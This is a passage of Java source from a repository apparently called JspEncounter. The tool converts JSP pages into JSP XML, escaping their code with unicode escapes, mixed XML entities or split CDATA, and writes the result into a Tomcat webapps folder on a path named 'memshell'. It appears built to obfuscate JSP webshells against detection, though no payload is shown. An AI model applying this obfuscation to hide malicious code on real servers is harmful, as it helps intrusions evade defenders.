text.split("\n"); 249 | StringBuilder[] items = new StringBuilder[markCount]; 250 | int sumLine = lines.length; 251 | int cap = (int) Math.ceil((float)sumLine/(float)markCount); 252 | for (int i = 0; i < lines.length; i++) { 253 | StringBuilder sbTmp = items[i / cap]; 254 | if (sbTmp == null) { 255 | sbTmp = new StringBuilder(); 256 | items[i / cap] = sbTmp; 257 | } 258 | sbTmp.append(lines[i]); 259 | } 260 | Pattern p = Pattern.compile("(§\\d+)"); 261 | for (Pair> extTag : options.extTags) { 262 | String name = extTag.getLeft(); 263 | Map attrs = extTag.getRight(); 264 | Element tag = root.addElement(new QName(name, jspNs)); 265 | for (String k : attrs.keySet()) { 266 | String v = attrs.get(k); 267 | for (; ; ) { 268 | Matcher m = p.matcher(v); 269 | if (!m.find()) { 270 | break; 271 | } 272 | String tmp = items[Integer.parseInt(m.group(1).substring(1)) - 1].toString(); 273 | tmp = tmp.replace("\"", "\\\""); 274 | v = v.replace(m.group(1),tmp); 275 | } 276 | 277 | tag.addAttribute(k, v); 278 | } 279 | } 280 | 281 | } 282 | 283 | if (bean.getScriptlets() != null && !isSetTagCode) { 284 | for (String txt : bean.getScriptlets()) { 285 | Element ele = root.addElement(new QName("scriptlet", jspNs)); 286 | //Element ele = addElement(root, new QName("scriptlet", jspNs)); 287 | txt = codeEscape(txt, options); 288 | ele.setText(txt); 289 | } 290 | } 291 | 292 | if (options.charsetDeclareLater) { 293 | List> pagesTmp = new ArrayList<>(); 294 | addPageEncoding(pagesTmp, options); 295 | for (Map attrs : pagesTmp) { 296 | Element ele = root.addElement(new QName("directive.page", jspNs)); 297 | for (String k : attrs.keySet()) { 298 | ele.addAttribute(k, attrs.get(k)); 299 | } 300 | } 301 | } 302 | 303 | OutputFormat format = OutputFormat.createPrettyPrint(); 304 | format.setSuppressDeclaration(true); 305 | 306 | format.setEncoding("UTF-8"); 307 | format.setNewLineAfterDeclaration(false); 308 | 309 | // ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); 310 | JspXMLWriter writer = new JspXMLWriter(outputStream, format, options); 311 | writer.setEscapeText(true); 312 | // 设置是否转义,默认使用转义字符 313 | writer.setEscapeText(false); 314 | writer.write(document); 315 | writer.close(); 316 | 317 | // return outputStream; 318 | } 319 | 320 | private static String codeEscape(String text, Options options) { 321 | System.out.println(options); 322 | if (options.codeEscapeType == null) { 323 | return text; 324 | } 325 | if ("unicode".equalsIgnoreCase(options.codeEscapeType)) { 326 | return Utils.UnicodeEscape(text); 327 | } 328 | return text; 329 | } 330 | } 331 | -------------------------------------------------------------------------------- /src/main/java/galaxy/jsp/encounter/jsp/Translator.java: -------------------------------------------------------------------------------- 1 | package galaxy.jsp.encounter.jsp; 2 | 3 | import galaxy.jsp.encounter.cfg.Config; 4 | import galaxy.jsp.encounter.xml.Options; 5 | import org.apache.commons.io.IOUtils; 6 | import org.apache.commons.lang3.tuple.ImmutablePair; 7 | import org.apache.commons.lang3.tuple.Pair; 8 | 9 | import java.io.FileInputStream; 10 | import java.io.FileOutputStream; 11 | import java.io.InputStream; 12 | import java.nio.charset.StandardCharsets; 13 | import java.util.ArrayList; 14 | import java.util.HashMap; 15 | import java.util.List; 16 | import java.util.Map; 17 | import java.util.regex.Matcher; 18 | import java.util.regex.Pattern; 19 | 20 | public class Translator { 21 | 22 | public static void main(String[] args) throws Exception { 23 | 24 | 25 | //[-30, -128, -88] 26 | byte[] bytes = new byte[3]; 27 | 28 | int b = 0xc2; 29 | byte b2 = (byte) 0xc2; 30 | Translator.class.getResourceAsStream("/test.txt").read(bytes); 31 | 32 | System.out.println(new String(bytes,StandardCharsets.UTF_8)); 33 | // String control = IOUtils.toString(Translator.class.getResourceAsStream("/test.txt"), StandardCharsets.UTF_8); 34 | 35 | String src = IOUtils.toString(Translator.class.getResourceAsStream("/test3.jsp"), StandardCharsets.UTF_8); 36 | //System.out.println(src); 37 | JspBean bean = TranslateToBean(src); 38 | //InputStream inputStream = Translator.class.getResourceAsStream("/matrix.xlsx"); 39 | InputStream inputStream = new FileInputStream("E:\\turn1tup\\memshell\\JspEncounter\\pkg\\matrix.xlsx"); 40 | Options options = Config.ParseCfg(inputStream); 41 | 42 | 43 | // options.charsetDeclare = "utf-8"; 44 | // options.namespace = "asdf"; 45 | //ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); 46 | FileOutputStream outputStream = new FileOutputStream("E:\\turn1tup\\program_java\\2022.11" + 47 | ".04_jsp\\apache-tomcat-10.0.27-windows-x64\\apache-tomcat-10.0.27\\webapps\\ROOT\\result.jsp"); 48 | //outputStream.write(0x85); 49 | // outputStream.write(0x20); 50 | //outputStream.write(0x3f); 51 | // outputStream.write(0xe2); 52 | // outputStream.write(0x80); 53 | // outputStream.write(0xa8); 54 | 55 | JspXML.BeanToXML(outputStream, bean, options); 56 | 57 | //System.out.println(new String(outputStream.toByteArray())); 58 | 59 | 60 | } 61 | 62 | public static Pair> LoopMatch(String text, String reg) { 63 | return LoopMatch(text, reg, 0); 64 | } 65 | 66 | public static Pair> LoopMatch(String text,String reg,int f) { 67 | List results = null; 68 | int end =0; 69 | for (; ; ) { 70 | Matcher mTmp = Pattern.compile(reg,f).matcher(text); 71 | if (!mTmp.find()) { 72 | break; 73 | } 74 | if (results == null) { 75 | results = new ArrayList<>(); 76 | } 77 | 78 | for (int i = 1; i < mTmp.groupCount()+1; i++) { 79 | results.add(mTmp.group(i)); 80 | } 81 | end += mTmp.end(); 82 | text = text.substring( mTmp.end()); 83 | 84 | 85 | } 86 | if (results == null) { 87 | return null; 88 | }else{ 89 | return new ImmutablePair<>(end, results); 90 | } 91 | 92 | } 93 | 94 | 95 | public static Map AttrsToMap(String attrsTxt, String regexAttrs) { 96 | Pair> attrs = LoopMatch(attrsTxt, regexAttrs); 97 | if (attrs == null) { 98 | return null; 99 | } 100 | List kvL = attrs.getRight(); 101 | Map kvM = new HashMap<>(); 102 | for (int i = 0; i < kvL.size(); i+=2) { 103 | kvM.put(kvL.get(i), kvL.get(i + 1)); 104 | } 105 | return kvM; 106 | } 107 | 108 | 109 | public static JspBean TranslateToBean(String src) { 110 | JspBean bean = new JspBean(); 111 | String regexPage = "<%\\s*@\\s*page\\s*(.*?)%>"; 112 | String regexDeclaration = "<%!\\s*(.*?)%>"; 113 | String regexExpr = "<%=\\s*(.*?)%>"; 114 | String regexScriptlet = "<%\\s*(.*?)%>"; 115 | String regexAttrs = "\\s*(.*?)=[\"](.*?[^\\\\])[\"]"; 116 | 117 | 118 | Pair> pages = LoopMatch(src, regexPage, Pattern.DOTALL); 119 | if (pages != null) { 120 | src = src.substring(pages.getLeft()); 121 | for (String attrsTxt : pages.getRight()) { 122 | Map kvM = AttrsToMap(attrsTxt, regexAttrs); 123 | if (kvM == null) { 124 | continue; 125 | } 126 | bean.addPage(kvM); 127 | } 128 | } 129 | 130 | Pair> decs = LoopMatch(src, regexDeclaration, Pattern.DOTALL); 131 | if (decs != null) { 132 | src = src.substring(decs.getLeft()); 133 | bean.setDeclarations(decs.getRight()); 134 | } 135 | 136 | Pair> exprs = LoopMatch(src, regexExpr, Pattern.DOTALL); 137 | if (exprs != null) { 138 | src = src.substring(exprs.getLeft()); 139 | bean.setExpressions(exprs.getRight()); 140 | } 141 | 142 | Pair> scripts = LoopMatch(src, regexScriptlet, Pattern.DOTALL); 143 | if (scripts != null) { 144 | //src = src.substring(scripts.getLeft()); 145 | bean.setScriptlets(scripts.getRight()); 146 | } 147 | 148 | return bean; 149 | 150 | } 151 | 152 | 153 | } 154 | -------------------------------------------------------------------------------- /src/main/java/galaxy/jsp/encounter/util/Const.java: -------------------------------------------------------------------------------- 1 | package galaxy.jsp.encounter.util; 2 | 3 | public class Const { 4 | 5 | public enum EscapeType { 6 | entityNormal, entityAll, cdata ,nothing 7 | 8 | } 9 | 10 | public enum DeclareAttr{ 11 | pageEncoding, contentType 12 | } 13 | 14 | 15 | } 16 | -------------------------------------------------------------------------------- /src/main/java/galaxy/jsp/encounter/util/Utils.java: -------------------------------------------------------------------------------- 1 | package galaxy.jsp.encounter.util; 2 | 3 | import java.lang.reflect.Field; 4 | import java.lang.reflect.Method; 5 | import java.lang.reflect.Type; 6 | 7 | public class Utils { 8 | /** 9 | * 字符串转 Unicode 编码 10 | * 11 | * @param string 原字符串 12 | * @param halfWith 是否转换半角字符 13 | * @return 编码后的字符串 14 | */ 15 | public static String StrToUnicode(String string, boolean halfWith) { 16 | if (string == null || string.isEmpty()) { 17 | // 传入字符串为空返回原内容 18 | return string; 19 | } 20 | 21 | StringBuilder value = new StringBuilder(string.length() << 3); 22 | String prefix = "\\u", zerofix = "0", unicode; 23 | char c; 24 | for (int i = 0, j; i < string.length(); i++) { 25 | c = string.charAt(i); 26 | if (!halfWith && c > 31 && c < 127) { 27 | // 不转换半角字符 28 | value.append(c); 29 | continue; 30 | } 31 | value.append(prefix); 32 | 33 | // 高 8 位 34 | j = c >>> 8; 35 | unicode = Integer.toHexString(j); 36 | if (unicode.length() == 1) { 37 | value.append(zerofix); 38 | } 39 | value.append(unicode); 40 | 41 | // 低 8 位 42 | j = c & 0xFF; 43 | unicode = Integer.toHexString(j); 44 | if (unicode.length() == 1) { 45 | value.append(zerofix); 46 | } 47 | value.append(unicode); 48 | } 49 | 50 | return value.toString(); 51 | } 52 | 53 | 54 | public static String RStrip(String s) { 55 | int len = s.length(); 56 | int st = 0; 57 | char[] val = s.toCharArray(); 58 | 59 | // while ((st < len) && (val[st] <= ' ')) { 60 | // st++; 61 | // } 62 | while ((st < len) && (val[len - 1] <= ' ')) { 63 | len--; 64 | } 65 | return s.substring(st, len); 66 | } 67 | 68 | public static Method GetMethod(Class clazz, String name, Class... clazzs) throws NoSuchMethodException { 69 | Method m = clazz.getDeclaredMethod(name, clazzs); 70 | m.setAccessible(true); 71 | return m; 72 | } 73 | 74 | // public static Object InvokeMethod(Object obj, Method method, Object... args) { 75 | // return method.invoke(obj, args); 76 | // } 77 | 78 | public static Type GetFieldType(Object obj, String name) throws NoSuchFieldException { 79 | Field f = obj.getClass().getDeclaredField(name); 80 | f.setAccessible(true); 81 | return f.getGenericType(); 82 | } 83 | 84 | public static void SetFieldValue(Object obj, String name, Object value) throws Exception { 85 | Field f = obj.getClass().getDeclaredField(name); 86 | f.setAccessible(true); 87 | f.set(obj, value); 88 | } 89 | 90 | public static Class GetClass(String name) throws ClassNotFoundException { 91 | return Utils.class.getClassLoader().loadClass(name); 92 | } 93 | 94 | public static Object GetFieldValue(String name, String fieldName, Object dst) throws Exception { 95 | Field field = GetClass(name).getDeclaredField(fieldName); 96 | field.setAccessible(true); 97 | return field.get(dst); 98 | } 99 | 100 | 101 | public static int CountChar(String text,char c) { 102 | int count=0; 103 | for (char t : text.toCharArray()) { 104 | if (c == t) { 105 | count+=1; 106 | } 107 | } 108 | return count; 109 | } 110 | 111 | private static int hexEntityHelp = 0; 112 | 113 | public static String ToEntity(int c, int entityType) { 114 | 115 | if (entityType == 10) { 116 | return "&#" + c + ";"; 117 | }else if(entityType== 16){ 118 | return "&#x" + Integer.toHexString(c) + ";"; 119 | }else{ 120 | hexEntityHelp = (hexEntityHelp+1)%2; 121 | if (hexEntityHelp == 0) { 122 | return "&#" + c + ";"; 123 | }else{ 124 | return "&#x" + Integer.toHexString(c) + ";"; 125 | } 126 | } 127 | 128 | } 129 | 130 | public static String WrapWithCdata(String text, int cap) { 131 | if (cap< 0 || text.length()"; 133 | } 134 | 135 | int turn = (int) Math.ceil((float)text.length() / (float)cap); 136 | StringBuilder sb = new StringBuilder(); 137 | for (int i = 0; i < turn; i++) { 138 | int start = i * cap; 139 | sb.append(""); 148 | } 149 | return sb.toString(); 150 | } 151 | 152 | public static String UnicodeEscape(String text) { 153 | return StrToUnicode(text, true); 154 | // int size = text.length(); 155 | // StringBuilder buffer = new StringBuilder(); 156 | // for (int i = 0; i < size; i++) { 157 | // int c = text.codePointAt(i); 158 | // String hex = Integer.toHexString(c); 159 | // if (hex.length() == 1) { 160 | // hex = "0" + hex; 161 | // } 162 | // buffer.append("\\u00").append(hex); 163 | // } 164 | // return buffer.toString(); 165 | } 166 | 167 | 168 | public static String EscapeText(String text, boolean escapeAll,int entityType) { 169 | // char quote = format.getAttributeQuoteCharacter(); 170 | StringBuilder buffer = new StringBuilder(); 171 | char[] block = null; 172 | int i; 173 | int last = 0; 174 | int size = text.length(); 175 | 176 | for (i = 0; i < size; i++) { 177 | String entity = null; 178 | int c = text.codePointAt(i); 179 | 180 | switch (c) { 181 | // 支持 controller space 逻辑 182 | case '§': 183 | entity = "§"; 184 | break; 185 | case '<': 186 | entity = "<"; 187 | break; 188 | case '>': 189 | entity = ">"; 190 | break; 191 | case '\'': 192 | entity = "'"; 193 | break; 194 | case '\"': 195 | entity = """; 196 | break; 197 | case '&': 198 | entity = "&"; 199 | break; 200 | case '\t': 201 | case '\n': 202 | case '\r': 203 | // don't encode standard whitespace characters 204 | break; 205 | default: 206 | if ((c < 32) || escapeAll) { 207 | //entity = "&#" + c + ";"; 208 | entity= Utils.ToEntity(c,entityType); 209 | } 210 | break; 211 | } 212 | 213 | if (entity != null) { 214 | if (block == null) { 215 | block = text.toCharArray(); 216 | } 217 | 218 | buffer.append(block, last, i - last); 219 | buffer.append(entity); 220 | last = i + 1; 221 | if(Character.isSupplementaryCodePoint(c)) { 222 | last++; 223 | } 224 | } 225 | if(Character.isSupplementaryCodePoint(c)) { 226 | i++; 227 | } 228 | } 229 | 230 | if (last == 0) { 231 | return text; 232 | } 233 | 234 | if (last < size) { 235 | if (block == null) { 236 | block = text.toCharArray(); 237 | } 238 | 239 | buffer.append(block, last, i - last); 240 | } 241 | 242 | String answer = buffer.toString(); 243 | buffer.setLength(0); 244 | 245 | return answer; 246 | } 247 | 248 | } 249 | -------------------------------------------------------------------------------- /src/main/java/galaxy/jsp/encounter/xml/JspXMLWriter.java: -------------------------------------------------------------------------------- 1 | package galaxy.jsp.encounter.xml; 2 | 3 | import galaxy.jsp.encounter.util.Const; 4 | import galaxy.jsp.encounter.util.Utils; 5 | import org.dom4j.*; 6 | import org.dom4j.io.OutputFormat; 7 | import org.dom4j.tree.NamespaceStack; 8 | import org.xml.sax.*; 9 | import org.xml.sax.ext.LexicalHandler; 10 | import org.xml.sax.helpers.XMLFilterImpl; 11 | 12 | import java.io.*; 13 | import java.nio.charset.Charset; 14 | import java.nio.charset.StandardCharsets; 15 | import java.util.*; 16 | 17 | import static org.dom4j.util.StringUtils.endsWithWhitespace; 18 | import static org.dom4j.util.StringUtils.startsWithWhitespace; 19 | 20 | /* 21 | copy from XMLWriter 22 | */ 23 | public class JspXMLWriter extends XMLFilterImpl implements LexicalHandler{ 24 | 25 | private static final String PAD_TEXT = " "; 26 | 27 | protected static final String[] LEXICAL_HANDLER_NAMES = { 28 | "http://xml.org/sax/properties/lexical-handler", 29 | "http://xml.org/sax/handlers/LexicalHandler"}; 30 | 31 | protected static final OutputFormat DEFAULT_FORMAT = new OutputFormat(); 32 | 33 | /** Should entityRefs by resolved when writing ? */ 34 | private boolean resolveEntityRefs = true; 35 | 36 | /** 37 | * Stores the last type of node written so algorithms can refer to the 38 | * previous node type 39 | */ 40 | protected int lastOutputNodeType; 41 | 42 | /** 43 | * Stores if the last written element node was a closing tag or an opening 44 | * tag. 45 | */ 46 | private boolean lastElementClosed = false; 47 | 48 | /** Stores the xml:space attribute value of preserve for whitespace flag */ 49 | protected boolean preserve = false; 50 | 51 | /** The Writer used to output to */ 52 | protected Writer writer; 53 | 54 | /** The Stack of namespaceStack written so far */ 55 | private NamespaceStack namespaceStack = new NamespaceStack(); 56 | 57 | /** The format used by this writer */ 58 | private OutputFormat format; 59 | 60 | /** whether we should escape text */ 61 | private boolean escapeText = true; 62 | 63 | /** 64 | * The initial number of indentations (so you can print a whole document 65 | * indented, if you like) 66 | */ 67 | private int indentLevel = 0; 68 | 69 | /** buffer used when escaping strings */ 70 | private StringBuffer buffer = new StringBuffer(); 71 | 72 | /** 73 | * whether we have added characters before from the same chunk of characters 74 | */ 75 | private boolean charsAdded = false; 76 | 77 | private char lastChar; 78 | 79 | /** Whether a flush should occur after writing a document */ 80 | private boolean autoFlush; 81 | 82 | /** Lexical handler we should delegate to */ 83 | private LexicalHandler lexicalHandler; 84 | 85 | /** 86 | * Whether comments should appear inside DTD declarations - defaults to 87 | * false 88 | */ 89 | private boolean showCommentsInDTDs; 90 | 91 | /** Is the writer curerntly inside a DTD definition? */ 92 | private boolean inDTD; 93 | 94 | /** The namespaces used for the current element when consuming SAX events */ 95 | private Map namespacesMap; 96 | 97 | /** 98 | * what is the maximum allowed character code such as 127 in US-ASCII (7 99 | * bit) or 255 in ISO- (8 bit) or -1 to not escape any characters (other 100 | * than the special XML characters like < > &) 101 | */ 102 | private int maximumAllowedCharacter; 103 | 104 | private Options options; 105 | // 106 | // public JspXMLWriter(Writer writer ){ 107 | // this(writer, DEFAULT_FORMAT); 108 | // } 109 | 110 | // public JspXMLWriter(Writer writer, OutputFormat format,Options options) { 111 | // this.writer = writer; 112 | // this.format = format; 113 | // namespaceStack.push(Namespace.NO_NAMESPACE); 114 | // this.options = options; 115 | // } 116 | 117 | // public JspXMLWriter() { 118 | // this.format = DEFAULT_FORMAT; 119 | // this.writer = new BufferedWriter(new OutputStreamWriter(System.out)); 120 | // this.autoFlush = true; 121 | // namespaceStack.push(Namespace.NO_NAMESPACE); 122 | // } 123 | 124 | // public JspXMLWriter(OutputStream out) throws UnsupportedEncodingException { 125 | // this.format = DEFAULT_FORMAT; 126 | // this.writer = createWriter(out, format.getEncoding()); 127 | // this.autoFlush = true; 128 | // namespaceStack.push(Namespace.NO_NAMESPACE); 129 | // } 130 | 131 | public JspXMLWriter(OutputStream out, OutputFormat format,Options options) 132 | throws UnsupportedEncodingException { 133 | this.format = format; 134 | this.writer = createWriter(out, format.getEncoding()); 135 | this.autoFlush = true; 136 | namespaceStack.push(Namespace.NO_NAMESPACE); 137 | this.options = options; 138 | } 139 | 140 | // public JspXMLWriter(OutputFormat format) throws UnsupportedEncodingException { 141 | // this.format = format; 142 | // this.writer = createWriter(System.out, format.getEncoding()); 143 | // this.autoFlush = true; 144 | // namespaceStack.push(Namespace.NO_NAMESPACE); 145 | // } 146 | 147 | public void setWriter(Writer writer) { 148 | this.writer = writer; 149 | this.autoFlush = false; 150 | } 151 | 152 | public void setOutputStream(OutputStream out) 153 | throws UnsupportedEncodingException { 154 | this.writer = createWriter(out, format.getEncoding()); 155 | this.autoFlush = true; 156 | } 157 | 158 | /** 159 | * DOCUMENT ME! 160 | * 161 | * @return true if text thats output should be escaped. This is enabled by 162 | * default. It could be disabled if the output format is textual, 163 | * like in XSLT where we can have xml, html or text output. 164 | */ 165 | public boolean isEscapeText() { 166 | return escapeText; 167 | } 168 | 169 | /** 170 | * Sets whether text output should be escaped or not. This is enabled by 171 | * default. It could be disabled if the output format is textual, like in 172 | * XSLT where we can have xml, html or text output. 173 | * 174 | * @param escapeText 175 | * DOCUMENT ME! 176 | */ 177 | public void setEscapeText(boolean escapeText) { 178 | this.escapeText = escapeText; 179 | } 180 | 181 | /** 182 | * Set the initial indentation level. This can be used to output a document 183 | * (or, more likely, an element) starting at a given indent level, so it's 184 | * not always flush against the left margin. Default: 0 185 | * 186 | * @param indentLevel 187 | * the number of indents to start with 188 | */ 189 | public void setIndentLevel(int indentLevel) { 190 | this.indentLevel = indentLevel; 191 | } 192 | 193 | /** 194 | * Returns the maximum allowed character code that should be allowed 195 | * unescaped which defaults to 127 in US-ASCII (7 bit) or 255 in ISO- (8 196 | * bit). 197 | * 198 | * @return DOCUMENT ME! 199 | */ 200 | public int getMaximumAllowedCharacter() { 201 | if (maximumAllowedCharacter == 0) { 202 | maximumAllowedCharacter = defaultMaximumAllowedCharacter(); 203 | } 204 | 205 | return maximumAllowedCharacter; 206 | } 207 | 208 | /** 209 | * Sets the maximum allowed character code that should be allowed unescaped 210 | * such as 127 in US-ASCII (7 bit) or 255 in ISO- (8 bit) or -1 to not 211 | * escape any characters (other than the special XML characters like < 212 | * > &) If this is not explicitly set then it is defaulted from the 213 | * encoding. 214 | * 215 | * @param maximumAllowedCharacter 216 | * The maximumAllowedCharacter to set 217 | */ 218 | public void setMaximumAllowedCharacter(int maximumAllowedCharacter) { 219 | this.maximumAllowedCharacter = maximumAllowedCharacter; 220 | } 221 | 222 | /** 223 | * Flushes the underlying Writer 224 | * 225 | * @throws IOException 226 | * DOCUMENT ME! 227 | */ 228 | public void flush() throws IOException { 229 | writer.flush(); 230 | } 231 | 232 | /** 233 | * Closes the underlying Writer 234 | * 235 | * @throws IOException 236 | * DOCUMENT ME! 237 | */ 238 | public void close() throws IOException { 239 | writer.close(); 240 | } 241 | 242 | /** 243 | * Writes the new line text to the underlying Writer 244 | * 245 | * @throws IOException 246 | * DOCUMENT ME! 247 | */ 248 | public void println() throws IOException { 249 | writer.write(format.getLineSeparator()); 250 | } 251 | 252 | /** 253 | * Writes the given {@link Attribute}. 254 | * 255 | * @param attribute 256 | * Attribute to output. 257 | * 258 | * @throws IOException 259 | * DOCUMENT ME! 260 | */ 261 | public void write(Attribute attribute) throws IOException { 262 | writeAttribute(attribute); 263 | 264 | if (autoFlush) { 265 | flush(); 266 | } 267 | } 268 | 269 | /** 270 | *

271 | * This will print the Document to the current Writer. 272 | *

273 | * 274 | *

275 | * Warning: using your own Writer may cause the writer's preferred character 276 | * encoding to be ignored. If you use encodings other than UTF8, we 277 | * recommend using the method that takes an OutputStream instead. 278 | *

279 | * 280 | *

281 | * Note: as with all Writers, you may need to flush() yours after this 282 | * method returns. 283 | *

284 | * 285 | * @param doc 286 | * Document to format. 287 | * 288 | * @throws IOException 289 | * if there's any problem writing. 290 | */ 291 | public void write(Document doc) throws IOException { 292 | writeDeclaration(); 293 | 294 | if (doc.getDocType() != null) { 295 | indent(); 296 | writeDocType(doc.getDocType()); 297 | } 298 | 299 | for (int i = 0, size = doc.nodeCount(); i < size; i++) { 300 | Node node = doc.node(i); 301 | writeNode(node); 302 | } 303 | 304 | //writePrintln(); 305 | 306 | if (autoFlush) { 307 | flush(); 308 | } 309 | } 310 | 311 | /** 312 | *

313 | * Writes the {@link Element}, including its {@link 314 | * Attribute} 315 | * s, and its value, and all its content (child nodes) to the current 316 | * Writer. 317 | *

318 | * 319 | * @param element 320 | * Element to output. 321 | * 322 | * @throws IOException 323 | * DOCUMENT ME! 324 | */ 325 | public void write(Element element) throws IOException { 326 | writeElement(element); 327 | 328 | if (autoFlush) { 329 | flush(); 330 | } 331 | } 332 | 333 | /** 334 | * Writes the given {@link CDATA}. 335 | * 336 | * @param cdata 337 | * CDATA to output. 338 | * 339 | * @throws IOException 340 | * DOCUMENT ME! 341 | */ 342 | public void write(CDATA cdata) throws IOException { 343 | writeCDATA(cdata.getText()); 344 | 345 | if (autoFlush) { 346 | flush(); 347 | } 348 | } 349 | 350 | /** 351 | * Writes the given {@link Comment}. 352 | * 353 | * @param comment 354 | * Comment to output. 355 | * 356 | * @throws IOException 357 | * DOCUMENT ME! 358 | */ 359 | public void write(Comment comment) throws IOException { 360 | writeComment(comment.getText()); 361 | 362 | if (autoFlush) { 363 | flush(); 364 | } 365 | } 366 | 367 | /** 368 | * Writes the given {@link DocumentType}. 369 | * 370 | * @param docType 371 | * DocumentType to output. 372 | * 373 | * @throws IOException 374 | * DOCUMENT ME! 375 | */ 376 | public void write(DocumentType docType) throws IOException { 377 | writeDocType(docType); 378 | 379 | if (autoFlush) { 380 | flush(); 381 | } 382 | } 383 | 384 | /** 385 | * Writes the given {@link Entity}. 386 | * 387 | * @param entity 388 | * Entity to output. 389 | * 390 | * @throws IOException 391 | * DOCUMENT ME! 392 | */ 393 | public void write(Entity entity) throws IOException { 394 | writeEntity(entity); 395 | 396 | if (autoFlush) { 397 | flush(); 398 | } 399 | } 400 | 401 | /** 402 | * Writes the given {@link Namespace}. 403 | * 404 | * @param namespace 405 | * Namespace to output. 406 | * 407 | * @throws IOException 408 | * DOCUMENT ME! 409 | */ 410 | public void write(Namespace namespace) throws IOException { 411 | writeNamespace(namespace); 412 | 413 | if (autoFlush) { 414 | flush(); 415 | } 416 | } 417 | 418 | /** 419 | * Writes the given {@link ProcessingInstruction}. 420 | * 421 | * @param processingInstruction 422 | * ProcessingInstruction to output. 423 | * 424 | * @throws IOException 425 | * DOCUMENT ME! 426 | */ 427 | public void write(ProcessingInstruction processingInstruction) 428 | throws IOException { 429 | writeProcessingInstruction(processingInstruction); 430 | 431 | if (autoFlush) { 432 | flush(); 433 | } 434 | } 435 | 436 | /** 437 | *

438 | * Print out a {@link String}, Perfoms the necessary entity escaping and 439 | * whitespace stripping. 440 | *

441 | * 442 | * @param text 443 | * is the text to output 444 | * 445 | * @throws IOException 446 | * DOCUMENT ME! 447 | */ 448 | public void write(String text) throws IOException { 449 | writeString(text); 450 | 451 | if (autoFlush) { 452 | flush(); 453 | } 454 | } 455 | 456 | /** 457 | * Writes the given {@link Text}. 458 | * 459 | * @param text 460 | * Text to output. 461 | * 462 | * @throws IOException 463 | * DOCUMENT ME! 464 | */ 465 | public void write(Text text) throws IOException { 466 | writeString(text.getText()); 467 | 468 | if (autoFlush) { 469 | flush(); 470 | } 471 | } 472 | 473 | /** 474 | * Writes the given {@link Node}. 475 | * 476 | * @param node 477 | * Node to output. 478 | * 479 | * @throws IOException 480 | * DOCUMENT ME! 481 | */ 482 | public void write(Node node) throws IOException { 483 | writeNode(node); 484 | 485 | if (autoFlush) { 486 | flush(); 487 | } 488 | } 489 | 490 | /** 491 | * Writes the given object which should be a String, a Node or a List of 492 | * Nodes. 493 | * 494 | * @param object 495 | * is the object to output. 496 | * 497 | * @throws IOException 498 | * DOCUMENT ME! 499 | */ 500 | public void write(Object object) throws IOException { 501 | if (object instanceof Node) { 502 | write((Node) object); 503 | } else if (object instanceof String) { 504 | write((String) object); 505 | } else if (object instanceof List) { 506 | List list = (List) object; 507 | 508 | for (Object aList : list) { 509 | write(aList); 510 | } 511 | } else if (object != null) { 512 | throw new IOException("Invalid object: " + object); 513 | } 514 | } 515 | 516 | /** 517 | *

518 | * Writes the opening tag of an {@link Element}, including its {@link 519 | * Attribute}s but without its content. 520 | *

521 | * 522 | * @param element 523 | * Element to output. 524 | * 525 | * @throws IOException 526 | * DOCUMENT ME! 527 | */ 528 | public void writeOpen(Element element) throws IOException { 529 | writer.write("<"); 530 | writer.write(element.getQualifiedName()); 531 | writeNamespaces(element); 532 | writeAttributes(element); 533 | writer.write(">"); 534 | } 535 | 536 | /** 537 | *

538 | * Writes the closing tag of an {@link Element} 539 | *

540 | * 541 | * @param element 542 | * Element to output. 543 | * 544 | * @throws IOException 545 | * DOCUMENT ME! 546 | */ 547 | public void writeClose(Element element) throws IOException { 548 | writeClose(element.getQualifiedName()); 549 | } 550 | 551 | // XMLFilterImpl methods 552 | // ------------------------------------------------------------------------- 553 | public void parse(InputSource source) throws IOException, SAXException { 554 | installLexicalHandler(); 555 | super.parse(source); 556 | } 557 | 558 | public void setProperty(String name, Object value) 559 | throws SAXNotRecognizedException, SAXNotSupportedException { 560 | for (String lexicalHandlerName : LEXICAL_HANDLER_NAMES) { 561 | if (lexicalHandlerName.equals(name)) { 562 | setLexicalHandler((LexicalHandler) value); 563 | 564 | return; 565 | } 566 | } 567 | 568 | super.setProperty(name, value); 569 | } 570 | 571 | public Object getProperty(String name) throws SAXNotRecognizedException, 572 | SAXNotSupportedException { 573 | for (String lexicalHandlerName : LEXICAL_HANDLER_NAMES) { 574 | if (lexicalHandlerName.equals(name)) { 575 | return getLexicalHandler(); 576 | } 577 | } 578 | 579 | return super.getProperty(name); 580 | } 581 | 582 | public void setLexicalHandler(LexicalHandler handler) { 583 | if (handler == null) { 584 | throw new NullPointerException("Null lexical handler"); 585 | } else { 586 | this.lexicalHandler = handler; 587 | } 588 | } 589 | 590 | public LexicalHandler getLexicalHandler() { 591 | return lexicalHandler; 592 | } 593 | 594 | // ContentHandler interface 595 | // ------------------------------------------------------------------------- 596 | public void setDocumentLocator(Locator locator) { 597 | super.setDocumentLocator(locator); 598 | } 599 | 600 | public void startDocument() throws SAXException { 601 | try { 602 | writeDeclaration(); 603 | super.startDocument(); 604 | } catch (IOException e) { 605 | handleException(e); 606 | } 607 | } 608 | 609 | public void endDocument() throws SAXException { 610 | super.endDocument(); 611 | 612 | if (autoFlush) { 613 | try { 614 | flush(); 615 | } catch (IOException e) { 616 | } 617 | } 618 | } 619 | 620 | public void startPrefixMapping(String prefix, String uri) 621 | throws SAXException { 622 | if (namespacesMap == null) { 623 | namespacesMap = new HashMap(); 624 | } 625 | 626 | namespacesMap.put(prefix, uri); 627 | super.startPrefixMapping(prefix, uri); 628 | } 629 | 630 | public void endPrefixMapping(String prefix) throws SAXException { 631 | super.endPrefixMapping(prefix); 632 | } 633 | 634 | public void startElement(String namespaceURI, String localName, 635 | String qName, Attributes attributes) throws SAXException { 636 | try { 637 | charsAdded = false; 638 | 639 | writePrintln(); 640 | indent(); 641 | writer.write("<"); 642 | writer.write(qName); 643 | writeNamespaces(); 644 | writeAttributes(attributes); 645 | writer.write(">"); 646 | ++indentLevel; 647 | lastOutputNodeType = Node.ELEMENT_NODE; 648 | lastElementClosed = false; 649 | 650 | super.startElement(namespaceURI, localName, qName, attributes); 651 | } catch (IOException e) { 652 | handleException(e); 653 | } 654 | } 655 | 656 | public void endElement(String namespaceURI, String localName, String qName) 657 | throws SAXException { 658 | try { 659 | charsAdded = false; 660 | --indentLevel; 661 | 662 | if (lastElementClosed) { 663 | writePrintln(); 664 | indent(); 665 | } 666 | 667 | // XXXX: need to determine this using a stack and checking for 668 | // content / children 669 | boolean hadContent = true; 670 | 671 | if (hadContent) { 672 | 